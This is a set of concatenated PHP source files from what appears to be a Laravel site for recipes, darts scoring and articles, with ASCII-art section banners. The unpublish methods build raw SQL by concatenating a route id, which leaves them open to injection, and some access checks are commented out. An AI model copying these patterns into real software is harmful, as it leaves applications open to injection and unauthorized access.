value of the previous page $ref = app('router')->getRoutes()->match(app('request')->create(URL::previous()))->getName(); //dd('TEST_DELETE'); $this->validate($request, [ 'checked' => 'required', ]); //dd('TEST_DELETE'); $checked = $request->input('checked'); //dd($checked); // $article = Article::withTrashed()->findOrFail($checked); //Article::destroy($checked); //Article::whereIn('id', $checked)->publish(); foreach ($checked as $item) { //dd($item); $recipe = Recipe::withTrashed()->find($item); //dd($article); $recipe->published_at = Carbon::now(); $recipe->deleted_at = Null; $recipe->save(); } Session::flash('success','The recipes were published successfully.'); return redirect()->route($ref); } ################################################################################################################## # ██████╗ ██╗ ██╗██████╗ ██╗ ██╗███████╗██╗ ██╗███████╗██████╗ # ██╔══██╗██║ ██║██╔══██╗██║ ██║██╔════╝██║ ██║██╔════╝██╔══██╗ # ██████╔╝██║ ██║██████╔╝██║ ██║███████╗███████║█████╗ ██║ ██║ # ██╔═══╝ ██║ ██║██╔══██╗██║ ██║╚════██║██╔══██║██╔══╝ ██║ ██║ # ██║ ╚██████╔╝██████╔╝███████╗██║███████║██║ ██║███████╗██████╔╝ # ╚═╝ ╚═════╝ ╚═════╝ ╚══════╝╚═╝╚══════╝╚═╝ ╚═╝╚══════╝╚═════╝ ################################################################################################################## public function published(Request $request, $key=null) { if(!checkACL('user')) { return view('errors.403'); } //$alphas = range('A', 'Z'); $alphas = DB::table('recipes') ->select(DB::raw('DISTINCT LEFT(title, 1) as letter')) ->where('published_at','<', Carbon::Now()) ->where('deleted_at','=', Null) ->orderBy('letter') ->get(); $letters = []; foreach($alphas as $alpha) { $letters[] = $alpha->letter; } // If $key value is passed if ($key) { $recipes = Recipe::with('user','category')->published() ->where('title', 'like', $key . '%') ->orderBy('title', 'asc') ->get(); return view('recipes.published', compact('recipes','letters')); } // No $key value is passed $recipes = Recipe::with('user','category')->published()->get(); return view('recipes.published', compact('recipes','letters')); } ################################################################################################################## # ██████╗ ███████╗███╗ ███╗ ██████╗ ██╗ ██╗███████╗ ███████╗ █████╗ ██╗ ██╗ ██████╗ ██████╗ ██╗████████╗███████╗ # ██╔══██╗██╔════╝████╗ ████║██╔═══██╗██║ ██║██╔════╝ ██╔════╝██╔══██╗██║ ██║██╔═══██╗██╔══██╗██║╚══██╔══╝██╔════╝ # ██████╔╝█████╗ ██╔████╔██║██║ ██║██║ ██║█████╗ █████╗ ███████║██║ ██║██║ ██║██████╔╝██║ ██║ █████╗ # ██╔══██╗██╔══╝ ██║╚██╔╝██║██║ ██║╚██╗ ██╔╝██╔══╝ ██╔══╝ ██╔══██║╚██╗ ██╔╝██║ ██║██╔══██╗██║ ██║ ██╔══╝ # ██║ ██║███████╗██║ ╚═╝ ██║╚██████╔╝ ╚████╔╝ ███████╗ ██║ ██║ ██║ ╚████╔╝ ╚██████╔╝██║ ██║██║ ██║ ███████╗ # ╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ ╚═════╝ ╚═══╝ ╚══════╝ ╚═╝ ╚═╝ ╚═╝ ╚═══╝ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝ ╚══════╝ ################################################################################################################## public function removeFavorite($id) { $user = Auth::user()->id; $recipe = Recipe::find($id); $recipe->favorites()->detach($user); Session::flash ('success','The recipe was successfully removed to your Favorites list!'); // return redirect()->route('recipes.index','all'); //return redirect()->route('recipes.myFavorites','all'); return redirect()->route('recipes.show', $id); } ################################################################################################################## # ██████╗ ███████╗███╗ ███╗ ██████╗ ██╗ ██╗███████╗ ██████╗ ██████╗ ██╗██╗ ██╗ █████╗ ████████╗███████╗ # ██╔══██╗██╔════╝████╗ ████║██╔═══██╗██║ ██║██╔════╝ ██╔══██╗██╔══██╗██║██║ ██║██╔══██╗╚══██╔══╝██╔════╝ # ██████╔╝█████╗ ██╔████╔██║██║ ██║██║ ██║█████╗ ██████╔╝██████╔╝██║██║ ██║███████║ ██║ █████╗ # ██╔══██╗██╔══╝ ██║╚██╔╝██║██║ ██║╚██╗ ██╔╝██╔══╝ ██╔═══╝ ██╔══██╗██║╚██╗ ██╔╝██╔══██║ ██║ ██╔══╝ # ██║ ██║███████╗██║ ╚═╝ ██║╚██████╔╝ ╚████╔╝ ███████╗ ██║ ██║ ██║██║ ╚████╔╝ ██║ ██║ ██║ ███████╗ # ╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ ╚═════╝ ╚═══╝ ╚══════╝ ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═══╝ ╚═╝ ╚═╝ ╚═╝ ╚══════╝ ################################################################################################################## public function removePrivate($id) { // Pass along the ROUTE value of the previous page //$ref = app('router')->getRoutes()->match(app('request')->create(URL::previous()))->getName(); Session::put('fullURL', \Request::fullUrl()); $recipe = Recipe::find($id); $recipe->personal = 0; $recipe->save(); // Save entry to log file using built-in Monolog //Log::info(Auth::user()->username . " (" . Auth::user()->id . ") REMOVE PRIVATE from recipe (" . $recipe->id . ")\r\n", // [json_decode($recipe, true)] //); Session::flash('success','The recipe was successfully removed from private'); //return redirect()->route($ref); return redirect()->route('recipes.show', $id); } ################################################################################################################## # ██████╗ ███████╗███████╗███████╗████████╗ ██╗ ██╗██╗███████╗██╗ ██╗███████╗ # ██╔══██╗██╔════╝██╔════╝██╔════╝╚══██╔══╝ ██║ ██║██║██╔════╝██║ ██║██╔════╝ # ██████╔╝█████╗ ███████╗█████╗ ██║ ██║ ██║██║█████╗ ██║ █╗ ██║███████╗ # ██╔══██╗██╔══╝ ╚════██║██╔══╝ ██║ ╚██╗ ██╔╝██║██╔══╝ ██║███╗██║╚════██║ # ██║ ██║███████╗███████║███████╗ ██║ ╚████╔╝ ██║███████╗╚███╔███╔╝███████║ # ╚═╝ ╚═╝╚══════╝╚══════╝╚══════╝ ╚═╝ ╚═══╝ ╚═╝╚══════╝ ╚══╝╚══╝ ╚══════╝ // RESET VIEWS COUNT ################################################################################################################## public function resetViews($id) { // Pass along the ROUTE value of the previous page $ref = app('router')->getRoutes()->match(app('request')->create(URL::previous()))->getName(); $recipe = Recipe::find($id); $recipe->views = 0; $recipe->save(); // Save entry to log file using built-in Monolog //Log::info(Auth::user()->username . " (" . Auth::user()->id . ") MADE recipe (" . $recipe->id . ") PRIVATE \r\n", [json_decode($recipe, true)]); Session::flash('success','The recipe\'s views count was reset to 0.'); return redirect()->route($ref); } ################################################################################################################## # ██████╗ ███████╗███████╗████████╗ ██████╗ ██████╗ ███████╗ # ██╔══██╗██╔════╝██╔════╝╚══██╔══╝██╔═══██╗██╔══██╗██╔════╝ # ██████╔╝█████╗ ███████╗ ██║ ██║ ██║██████╔╝█████╗ # ██╔══██╗██╔══╝ ╚════██║ ██║ ██║ ██║██╔══██╗██╔══╝ # ██║ ██║███████╗███████║ ██║ ╚██████╔╝██║ ██║███████╗ # ╚═╝ ╚═╝╚══════╝╚══════╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝ // RESTORE TRASHED FILE ################################################################################################################## public function restore($id) { $recipe = Recipe::withTrashed()->findOrFail($id); //$article->deleted_at = NULL; //$article->save(); $recipe->restore(); Session::flash ('success','The recipe was successfully restored.'); return redirect()->route('recipes.trashed'); } ################################################################################################################## # ██████╗ ███████╗███████╗████████╗ ██████╗ ██████╗ ███████╗ █████╗ ██╗ ██╗ # ██╔══██╗██╔════╝██╔════╝╚══██╔══╝██╔═══██╗██╔══██╗██╔════╝ ██╔══██╗██║ ██║ # ██████╔╝█████╗ ███████╗ ██║ ██║ ██║██████╔╝█████╗ ███████║██║ ██║ # ██╔══██╗██╔══╝ ╚════██║ ██║ ██║ ██║██╔══██╗██╔══╝ ██╔══██║██║ ██║ # ██║ ██║███████╗███████║ ██║ ╚██████╔╝██║ ██║███████╗ ██║ ██║███████╗███████╗ # ╚═╝ ╚═╝╚══════╝╚══════╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝ ╚═╝ ╚═╝╚══════╝╚══════╝ // RESTORE ALL TRASHED FILE ################################################################################################################## public function restoreAll(Request $request) { //dd('TEST_RESTORE'); //dd($request); //$this->validate($request, [ // 'checked' => 'required', //]); //dd('TEST_RESTORE'); $checked = $request->input('checked'); //dd($checked); // $article = new Article(); // $article->restore($checked); Recipe::whereIn('id', $checked)->restore(); Session::flash('success','The recipes were restored successfully.'); return redirect()->route('recipes.trashed'); } ################################################################################################################## # ███████╗██╗ ██╗ ██████╗ ██╗ ██╗ # ██╔════╝██║ ██║██╔═══██╗██║ ██║ # ███████╗███████║██║ ██║██║ █╗ ██║ # ╚════██║██╔══██║██║ ██║██║███╗██║ # ███████║██║ ██║╚██████╔╝╚███╔███╔╝ # ╚══════╝╚═╝ ╚═╝ ╚═════╝ ╚══╝╚══╝ // Display the specified resource ################################################################################################################## public function show($id) { $recipe = Recipe::find($id); // Set the variable so we can use a button in other pages to come back to this page Session::put('fullURL', \Request::fullUrl()); // get previous recipe id $previous = Recipe::published()->where('id', '<', $recipe->id)->max('id'); // get next recipe id $next = Recipe::published()->where('id', '>', $recipe->id)->min('id'); // Add 1 to views column DB::table('recipes')->where('id','=',$recipe->id)->increment('views',1); // If user is logged in, update the last_viewed_by_id and last_viewed_on fields in the recipes table // if (Auth::check()) { // DB::statement("UPDATE recipes SET last_viewed_by_id = " . Auth::user()->id . " where id = " . $id ); // DB::statement("UPDATE recipes SET last_viewed_on = " . DB::raw('NOW()') . " where id = " . $id ); // } // Get list of recips by year and month $recipelinks = DB::table('recipes') ->select(DB::raw('YEAR(published_at) year, MONTH(published_at) month, MONTHNAME(published_at) month_name, COUNT(*) recipe_count')) ->where('published_at', '<=', Carbon::now()) //->subMonth(3)) --Only show the last 3 months //->whereRaw('published = 1') -- field no longer used ->groupBy('year') ->groupBy('month') ->orderBy('year', 'desc') ->orderBy('month', 'desc') ->get(); // Save entry to log file using built-in Monolog if (Auth::check()) { //Log::info(Auth::user()->username . " (" . Auth::user()->id . ") viewed :: Recipe (" . $recipe->id . ")"); } else { //Log::info(getClientIP() . " viewed :: Recipe (" . $recipe->id . ")"); } return view('recipes.show', compact('recipe','recipelinks','next','previous')); } ################################################################################################################## # ███████╗████████╗ ██████╗ ██████╗ ███████╗ # ██╔════╝╚══██╔══╝██╔═══██╗██╔══██╗██╔════╝ # ███████╗ ██║ ██║ ██║██████╔╝█████╗ # ╚════██║ ██║ ██║ ██║██╔══██╗██╔══╝ # ███████║ ██║ ╚██████╔╝██║ ██║███████╗ # ╚══════╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝ // Store a newly created resource in storage ################################################################################################################## public function store(CreateRecipeRequest $request) { // if(!checkACL('author')) { // return view('errors.403'); // } $recipe = new Recipe; $recipe->title = $request->title; $recipe->ingredients = Purifier::clean($request->ingredients); $recipe->methodology = Purifier::clean($request->methodology); $recipe->category_id = $request->category_id; $recipe->published_at = $request->published_at; $recipe->servings = $request->servings; $recipe->prep_time = $request->prep_time; $recipe->cook_time = $request->cook_time; $recipe->personal = $request->personal; $recipe->source = $request->source; $recipe->author_notes = $request->author_notes; $recipe->public_notes = $request->public_notes; $recipe->modified_by_id = Auth::user()->id; $recipe->last_viewed_by_id = Auth::user()->id; $recipe->last_viewed_on = Carbon::Now(); $recipe->user_id = Auth::user()->id; $recipe->save(); // Save entry to log file using built-in Monolog //Log::info(Auth::user()->username . " (" . Auth::user()->id . ") CREATED article (" . $article->id . ")\r\n", [json_decode($article, true)] //); Session::flash('success','The article has been created successfully!'); return redirect()->route($request->ref); } ################################################################################################################## # ███████╗████████╗ ██████╗ ██████╗ ███████╗ ██████╗ ██████╗ ███╗ ███╗███╗ ███╗███████╗███╗ ██╗████████╗ # ██╔════╝╚══██╔══╝██╔═══██╗██╔══██╗██╔════╝ ██╔════╝██╔═══██╗████╗ ████║████╗ ████║██╔════╝████╗ ██║╚══██╔══╝ # ███████╗ ██║ ██║ ██║██████╔╝█████╗ ██║ ██║ ██║██╔████╔██║██╔████╔██║█████╗ ██╔██╗ ██║ ██║ # ╚════██║ ██║ ██║ ██║██╔══██╗██╔══╝ ██║ ██║ ██║██║╚██╔╝██║██║╚██╔╝██║██╔══╝ ██║╚██╗██║ ██║ # ███████║ ██║ ╚██████╔╝██║ ██║███████╗ ╚██████╗╚██████╔╝██║ ╚═╝ ██║██║ ╚═╝ ██║███████╗██║ ╚████║ ██║ # ╚══════╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═══╝ ╚═╝ ################################################################################################################## public function storeComment(CreateCommentRequest $request, $id) // public function storeComment(Request $request, $id) { //dd($id); $recipe = Recipe::find($id); //dd($project); $comment = new Comment(); // $comment->name = $request->name; // $comment->email = $request->email; $comment->user_id = Auth::user()->id; $comment->comment = $request->comment; $recipe->comments()->save($comment); //$comment->save(); // Save entry to log file using built-in Monolog // if (Auth::check()) { // Log::info(Auth::user()->username . " (" . Auth::user()->id . ") commented on post (" . $post->id . ")\r\n", [json_decode($comment, true)]); // } else { // Log::info(Request::ip() . " commented on post " . $post->id); // } Session::flash('success', 'Comment added succesfully.'); return redirect()->route('recipes.show', $recipe->id); } ################################################################################################################## # ████████╗██████╗ █████╗ ███████╗██╗ ██╗███████╗██████╗ # ╚══██╔══╝██╔══██╗██╔══██╗██╔════╝██║ ██║██╔════╝██╔══██╗ # ██║ ██████╔╝███████║███████╗███████║█████╗ ██║ ██║ # ██║ ██╔══██╗██╔══██║╚════██║██╔══██║██╔══╝ ██║ ██║ # ██║ ██║ ██║██║ ██║███████║██║ ██║███████╗██████╔╝ # ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝╚══════╝╚═════╝ // Display a list of resources that have been trashed (Soft Deleted) ################################################################################################################## public function trashed(Request $request) { // if(!checkACL('guest')) { // return view('errors.403'); // } $recipes = Recipe::with('user','category')->onlyTrashed()->get(); return view('recipes.trashed', compact('recipes')); } ################################################################################################################## # ████████╗██████╗ █████╗ ███████╗██╗ ██╗ █████╗ ██╗ ██╗ # ╚══██╔══╝██╔══██╗██╔══██╗██╔════╝██║ ██║ ██╔══██╗██║ ██║ # ██║ ██████╔╝███████║███████╗███████║ ███████║██║ ██║ # ██║ ██╔══██╗██╔══██║╚════██║██╔══██║ ██╔══██║██║ ██║ # ██║ ██║ ██║██║ ██║███████║██║ ██║ ██║ ██║███████╗███████╗ # ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ ╚═╝ ╚═╝╚══════╝╚══════╝ // Remove the specified resource from storage // Used in the index page to soft delete multiple records ################################################################################################################## public function trashAll(Request $request) { // Pass along the ROUTE value of the previous page $ref = app('router')->getRoutes()->match(app('request')->create(URL::previous()))->getName(); $this->validate($request, [ 'checked' => 'required', ]); $checked = $request->input('checked'); //dd($checked); Recipe::destroy($checked); Session::flash('success','The recipes were trashed successfully.'); return redirect()->route($ref); } ################################################################################################################## # ██╗ ██╗███╗ ██╗██████╗ ██╗ ██╗██████╗ ██╗ ██╗███████╗██╗ ██╗ # ██║ ██║████╗ ██║██╔══██╗██║ ██║██╔══██╗██║ ██║██╔════╝██║ ██║ # ██║ ██║██╔██╗ ██║██████╔╝██║ ██║██████╔╝██║ ██║███████╗███████║ # ██║ ██║██║╚██╗██║██╔═══╝ ██║ ██║██╔══██╗██║ ██║╚════██║██╔══██║ # ╚██████╔╝██║ ╚████║██║ ╚██████╔╝██████╔╝███████╗██║███████║██║ ██║ # ╚═════╝ ╚═╝ ╚═══╝╚═╝ ╚═════╝ ╚═════╝ ╚══════╝╚═╝╚══════╝╚═╝ ╚═╝ ################################################################################################################## public function unpublish($id) { // Pass along the ROUTE value of the previous page //$ref = app('router')->getRoutes()->match(app('request')->create(URL::previous()))->getName(); $recipe = Recipe::find($id); $recipe->published_at = NULL; // $article->favoriteArticles()->delete(); // Remove associated rows from article_user (favorites table) $favorites = DB::select('select * from recipe_user where recipe_id = '. $id, [1]); //dd ($favorites); foreach($favorites as $favorite) { //dd($favorite); $recipe->favorites()->detach($favorite); } $recipe->save(); Session::flash ('success','The recipe was successfully unpublished.'); //return redirect()->route($ref); return redirect()->route('recipes.show', $id); } ################################################################################################################## # ██╗ ██╗███╗ ██╗██████╗ ██╗ ██╗██████╗ ██╗ ██╗███████╗██╗ ██╗███████╗██████╗ # ██║ ██║████╗ ██║██╔══██╗██║ ██║██╔══██╗██║ ██║██╔════╝██║ ██║██╔════╝██╔══██╗ # ██║ ██║██╔██╗ ██║██████╔╝██║ ██║██████╔╝██║ ██║███████╗███████║█████╗ ██║ ██║ # ██║ ██║██║╚██╗██║██╔═══╝ ██║ ██║██╔══██╗██║ ██║╚════██║██╔══██║██╔══╝ ██║ ██║ # ╚██████╔╝██║ ╚████║██║ ╚██████╔╝██████╔╝███████╗██║███████║██║ ██║███████╗██████╔╝ # ╚═════╝ ╚═╝ ╚═══╝╚═╝ ╚═════╝ ╚═════╝ ╚══════╝╚═╝╚══════╝╚═╝ ╚═╝╚══════╝╚═════╝ // Display a list of resources that have not been published ################################################################################################################## public function unpublished(Request $request, $key=null) { if(!checkACL('editor')) { return view('errors.403'); } // Set the variable so we can use a button in other pages to come back to this page Session::put('backURL', Route::currentRouteName()); //$alphas = range('A', 'Z'); $alphas = DB::table('recipes') ->select(DB::raw('DISTINCT LEFT(title, 1) as letter')) // ->where('personal', '!=', 1) ->where('published_at','=', null) ->orderBy('letter') ->get(); //dd($alphas); $letters = []; foreach($alphas as $alpha) { $letters[] = $alpha->letter; } // If $key value is passed if ($key) { $recipes = Recipe::with('user','category')->unpublished() ->where('title', 'like', $key . '%') ->orderBy('title', 'asc') ->get(); return view('recipes.unpublished', compact('recipes','letters')); } // No $key value is passed $recipes = Recipe::with('user','category')->unpublished()->get(); return view('recipes.unpublished', compact('recipes','letters')); } ################################################################################################################## # ██╗ ██╗███╗ ██╗██████╗ ██╗ ██╗██████╗ ██╗ ██╗███████╗██╗ ██╗ █████╗ ██╗ ██╗ # ██║ ██║████╗ ██║██╔══██╗██║ ██║██╔══██╗██║ ██║██╔════╝██║ ██║ ██╔══██╗██║ ██║ # ██║ ██║██╔██╗ ██║██████╔╝██║ ██║██████╔╝██║ ██║███████╗███████║ ███████║██║ ██║ # ██║ ██║██║╚██╗██║██╔═══╝ ██║ ██║██╔══██╗██║ ██║╚════██║██╔══██║ ██╔══██║██║ ██║ # ╚██████╔╝██║ ╚████║██║ ╚██████╔╝██████╔╝███████╗██║███████║██║ ██║ ██║ ██║███████╗███████╗ # ╚═════╝ ╚═╝ ╚═══╝╚═╝ ╚═════╝ ╚═════╝ ╚══════╝╚═╝╚══════╝╚═╝ ╚═╝ ╚═╝ ╚═╝╚══════╝╚══════╝ ################################################################################################################## public function unpublishAll(Request $request) { // Pass along the ROUTE value of the previous page $ref = app('router')->getRoutes()->match(app('request')->create(URL::previous()))->getName(); $this->validate($request, [ 'checked' => 'required', ]); $checked = $request->input('checked'); foreach ($checked as $item) { //dd($item); $recipe = Recipe::withTrashed()->find($item); $recipe->published_at = Null; // Delete related favorites $favorites = DB::select('select * from recipe_user where recipe_id = '. $recipe->id, [1]); foreach($favorites as $favorite) { $recipe->favoriteRecipes()->detach($favorite); } $recipe->save(); } Session::flash('success','The recipes were published successfully.'); return redirect()->route($ref); } ################################################################################################################## # ██╗ ██╗██████╗ ██████╗ █████╗ ████████╗███████╗ # ██║ ██║██╔══██╗██╔══██╗██╔══██╗╚══██╔══╝██╔════╝ # ██║ ██║██████╔╝██║ ██║███████║ ██║ █████╗ # ██║ ██║██╔═══╝ ██║ ██║██╔══██║ ██║ ██╔══╝ # ╚██████╔╝██║ ██████╔╝██║ ██║ ██║ ███████╗ # ╚═════╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝ ╚══════╝ // UPDATE :: Update the specified resource in storage ################################################################################################################## public function update(UpdateRecipeRequest $request, $id) { // Get the recipe values from the database $recipe = Recipe::find($id); // save the data in the database $recipe->title = $request->title; $recipe->ingredients = Purifier::clean($request->ingredients); $recipe->methodology = Purifier::clean($request->methodology); $recipe->category_id = $request->category_id; $recipe->published_at = $request->published_at; $recipe->servings = $request->servings; $recipe->prep_time = $request->prep_time; $recipe->cook_time = $request->cook_time; $recipe->personal = $request->personal; $recipe->source = $request->source; $recipe->author_notes = $request->author_notes; $recipe->public_notes = $request->public_notes; $recipe->modified_by_id = Auth::user()->id; $recipe->last_viewed_by_id = Auth::user()->id; $recipe->last_viewed_on = Carbon::Now(); // Check if a new image was submitted if ($request->hasFile('image')) { //Add new photo $image = $request->file('image'); $filename = time() . '.' . $image->getClientOriginalExtension(); $location = public_path('_recipes/' . $filename); Image::make($image)->resize(800, 400)->save($location); // get name of old image $oldImageName = $recipe->image; //dd($oldImageName); // Update database $recipe->image = $filename; // Delete old photo //Storage::delete($oldImageName); File::delete('_recipes/'.$oldImageName); } $recipe->save(); // Save entry to log file using built-in Monolog //Log::info(Auth::user()->username . " (" . Auth::user()->id . ") updated :: Recipe (" . $recipe->id .")"); // set a flash message to be displayed on screen Session::flash('success','The recipe was successfully updated!'); // redirect to another page //return redirect()->route('recipes.index'); return redirect(Session::get('fullURL')); } } <file_sep><?php namespace App\Http\Requests; use App\Http\Requests\Request; class CreateWoodProjectRequest extends Request { /** * Determine if the user is authorized to make this request. * * @return bool */ public function authorize() { return true; } /** * Get the validation rules that apply to the request. * * @return array */ public function rules() { // https://laravel.com/docs/5.2/validation#available-validation-rules return [ 'name' => 'required', 'description' => 'required', 'category_id' => 'required', 'main_image' => 'required|image|max:1999' ]; } public function messages() { return [ 'name.required' => 'Required', 'description.required' => 'Required', 'category_id.required' => 'Required', 'main_image.required' => 'Required', 'main_image.image' => 'Must be an image file', 'main_image.max' => 'Cannot be larger than 2MB' ]; } } <file_sep><?php namespace App\Http\Controllers; use DB; use Session; use App\Dart; use App\DartScore; use App\User; use Illuminate\Http\Request; class DartScoresController extends Controller { public function teamIndex($gameID) { $game = Dart::find($gameID); return view('darts.01.teamScores.index', compact('game')); } // public function playerIndex($gameID) // { // $game = Dart::find($gameID); // return view('darts.01.playerScores.index', compact('game')); // } // public function cricketTeamIndex($gameID) // { // $game = Dart::find($gameID); // return view('darts.cricket.teamScores.index', compact('game')); // } // public function cricketPlayerIndex($gameID) // { // $game = Dart::find($gameID); // return view('darts.cricket.playerScores.index', compact('game')); // } public function create() { // } ################################################################################################################## # ███████╗████████╗ ██████╗ ██████╗ ███████╗ # ██╔════╝╚══██╔══╝██╔═══██╗██╔══██╗██╔════╝ # ███████╗ ██║ ██║ ██║██████╔╝█████╗ # ╚════██║ ██║ ██║ ██║██╔══██╗██╔══╝ # ███████║ ██║ ╚██████╔╝██║ ██║███████╗ # ╚══════╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝ ################################################################################################################## public function teamStore(Request $request) { // if(!checkACL('manager')) { // return view('errors.403'); // } $this->validate($request, [ 'game_id' => 'required', 'team_id' => 'required', 'user_id' => 'required', 'score1' => 'sometimes|required|integer|max:180', 'score2' => 'sometimes|required|integer|max:180' ], [ 'user_id.required' => 'Please select a player.', 'score1.required' => 'Please enter a score.', 'score1.integer' => 'Score must be a number.', 'score1.max' => 'Score must be less than 181.', 'score2.required' => 'Please enter a score.', 'score2.integer' => 'Score must be a number.', 'score2.max' => 'Score must be less than 181.', ]); // Determine which score box has data if($request->score1) { $whichScore = $request->score1; }else{ $whichScore = $request->score2; } // Is the entered score less than 0? if($whichScore < 0){ Session::flash('error','Invalid Score! You need to enter a score above 0. Please try again.'); return redirect()->route('darts.01.teamScores.index', $request->game_id); } // Is the entered score greater than 180? if($whichScore > 180){ Session::flash('error','Invalid Score! Total score cannot exceed 180. Please try again.'); return redirect()->route('darts.01.teamScores.index', $request->game_id); } // Would the entered score leave 1 remaining which is not possible if($request->remainingScore - $whichScore == 1){ $score = new DartScore; $score->user_id = $request->user_id; $score->team_id = $request->team_id; $score->game_id = $request->game_id; $score->score = 0; $score->remaining = $request->remainingScore; $score->save(); Session::flash('error','This score cannot be registered as it would leave an impossibility to finish with a Double Out. A value of 0 will be added to the scoresheet.'); return redirect()->route('darts.01.teamScores.index', $request->game_id); } // Is the entered score greater than the remaining score? if($whichScore > $request->remainingScore){ $score = new DartScore; $score->user_id = $request->user_id; $score->team_id = $request->team_id; $score->game_id = $request->game_id; $score->score = 0; $score->remaining = $request->remainingScore; $score->save(); Session::flash('error','The registered score is higher than the required score to finish. A value of 0 will be added to the scoresheet.'); return redirect()->route('darts.01.teamScores.index', $request->game_id); } // All checks passed, enter the score in the DB $score = new DartScore; $score->user_id = $request->user_id; $score->team_id = $request->team_id; $score->game_id = $request->game_id; $score->score = $whichScore; $score->remaining = $request->remainingScore - $whichScore; $score->save(); // Change the game status to In Progress $game = Dart::find($request->game_id); $game->status = 'In Progress'; $game->save(); if(gameWinner($game) == true) { $game = Dart::find($request->game_id); $game->status = 'Completed'; $game->save(); echo 'Qwerty'; } // Save entry to log file using built-in Monolog //Log::info(Auth::user()->username . " (" . Auth::user()->id . ") CREATED category (" . $category->id . ")\r\n", [$category = json_decode($category, true)]); Session::flash('success','The scoresheet has been updated.'); return redirect()->route('darts.01.teamScores.index', $request->game_id); } public function edit($id) { // } public function update(Request $request, $id) { // } public function destroy($id) { // } } <file_sep><?php // ITEMS // Route::group(['namespace' => 'Backend'], function() { //Route::get('/backend/items/import', 'Backend\ItemsController@getImport')->name('backend.items.import'); //Route::post('/backend/items/import_parse', 'Backend\ItemsController@parseImport')->name('backend.items.import_parse'); //Route::post('/backend/items/import_process', 'Backend\ItemsController@processImport')->name('backend.items.import_process'); // Route::resource('items', 'Backend\ItemsController'); //Route::get('backend/items', 'Backend\ItemsController@index')->name('backend.items.index'); // }); // Route::group(['prefix' => 'backend', 'namespace' => 'Backend'], function () { // Route::get('items/import', 'ItemsController@getImport')->name('items.import'); // Route::post('items/import_parse', 'ItemsController@parseImport')->name('items.import_parse'); // Route::post('items/import_process', 'ItemsController@processImport')->name('items.import_process'); // Route::get('items/published', 'ItemsController@published')->name('items.published'); // Route::get('items/unpublished', 'ItemsController@unpublished')->name('items.unpublished'); // Route::get('items/future', 'ItemsController@future')->name('items.future'); // Route::get('items/trashed', 'ItemsController@trashed')->name('items.trashed'); // Route::resource('items', 'ItemsController'); // }); Route::resource('items', 'ItemsController');<file_sep><?php namespace App; use Illuminate\Database\Eloquent\Model; //use OwenIt\Auditing\Auditable; //use OwenIt\Auditing\Contracts\Auditable as AuditableContract; use Auth; class Module extends Model //implements AuditableContract { //use Auditable; /** * Always capitalize the first name when we retrieve it */ public function getNameAttribute($value) { return ucfirst($value); } public function scopeNewModules($query) { return $query ->where('created_at', '>=' , Auth::user()->last_login_date) //->where('user_id', '=', Auth::user()->id) ->orderBy('name','DESC'); } } <file_sep><?php use Illuminate\Database\Seeder; class UsersTableSeeder extends Seeder { /** * Run the database seeds. * * @return void */ public function run() { DB::table('users')->insert([ 'id' => 1, 'username' => 'admin', 'role_id' => 10, 'email' => '<EMAIL>', 'password' => bcrypt('<PASSWORD>'), ]); DB::table('users')->insert([ 'id' => 2, 'username' => 'lerouxs', 'role_id' => 20, 'public_email' => 1, 'email' => '<EMAIL>', 'password' => bcrypt('<PASSWORD>'), ]); DB::table('users')->insert([ 'id' => 3, 'username' => 'hayness', 'role_id' => 60, 'email' => '<EMAIL>', 'password' => bcrypt('<PASSWORD>'), ]); DB::table('users')->insert([ 'id' => 4, 'username' => 'lerouxh', 'role_id' => 60, 'email' => '<EMAIL>', 'password' => bcrypt('<PASSWORD>'), ]); DB::table('users')->insert([ 'id' => 5, 'username' => 'leveillel', 'role_id' => 55, 'email' => '<EMAIL>', 'password' => bcrypt('<PASSWORD>'), ]); } } <file_sep><?php namespace App\Http\Controllers\Backend; use Illuminate\Http\Request; use Illuminate\Support\Facades\Route; use App\Http\Controllers\Controller; use Illuminate\Support\Facades\Input; use App\Article; use App\Category; use App\User; use Auth; use Carbon\Carbon; use DB; use Excel; use Log; use PDF; use Session; use Table; use URL; use View; use App\Http\Requests\CreateArticleRequest; use App\Http\Requests\UpdateArticleRequest; class ArticlesController extends Controller { ################################################################################################################## # ██████╗ ██████╗ ███╗ ██╗███████╗████████╗██████╗ ██╗ ██╗ ██████╗████████╗ # ██╔════╝██╔═══██╗████╗ ██║██╔════╝╚══██╔══╝██╔══██╗██║ ██║██╔════╝╚══██╔══╝ # ██║ ██║ ██║██╔██╗ ██║███████╗ ██║ ██████╔╝██║ ██║██║ ██║ # ██║ ██║ ██║██║╚██╗██║╚════██║ ██║ ██╔══██╗██║ ██║██║ ██║ # ╚██████╗╚██████╔╝██║ ╚████║███████║ ██║ ██║ ██║╚██████╔╝╚██████╗ ██║ # ╚═════╝ ╚═════╝ ╚═╝ ╚═══╝╚══════╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ################################################################################################################## public function __construct() { // only allow authenticated users to access these pages //$this->middleware('auth', ['except'=>['index','show']]); // changing auth to guest would only allow guests to access these pages // you can also restrict the actions by adding ['except' => 'name_of_action'] at the end $this->middleware('auth'); //Log::useFiles(storage_path().'/logs/articles.log'); //Log::useFiles(storage_path().'/logs/audits.log'); } ################################################################################################################## # █████╗ ██████╗ ██████╗ ███████╗ █████╗ ██╗ ██╗ ██████╗ ██████╗ ██╗████████╗███████╗ # ██╔══██╗██╔══██╗██╔══██╗ ██╔════╝██╔══██╗██║ ██║██╔═══██╗██╔══██╗██║╚══██╔══╝██╔════╝ # ███████║██║ ██║██║ ██║ █████╗ ███████║██║ ██║██║ ██║██████╔╝██║ ██║ █████╗ # ██╔══██║██║ ██║██║ ██║ ██╔══╝ ██╔══██║╚██╗ 